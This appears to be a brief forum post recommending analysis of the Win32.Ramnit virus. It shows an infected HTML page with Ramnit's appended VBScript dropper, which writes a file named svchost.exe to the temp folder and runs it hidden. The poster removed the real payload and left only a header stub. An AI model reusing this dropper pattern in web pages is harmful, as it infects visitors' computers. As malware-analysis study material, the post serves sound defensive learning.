You can try analysing the Win32.Ramnit malware.
It infects html files by appending malicious code at the end.
Here is an example from one sample which I analyzed. I have purposely removed the malicious payload which was in WriteData.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<meta HTTP-EQUIV="REFRESH" content="0; url=http://www.nosteam.ro">
<style type="text/css">
body
{
background-color:#000000;
}
/*]]>*/
</style>
<title>NoSteam.RO</title>
</head>
<body>
</body>
</html><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
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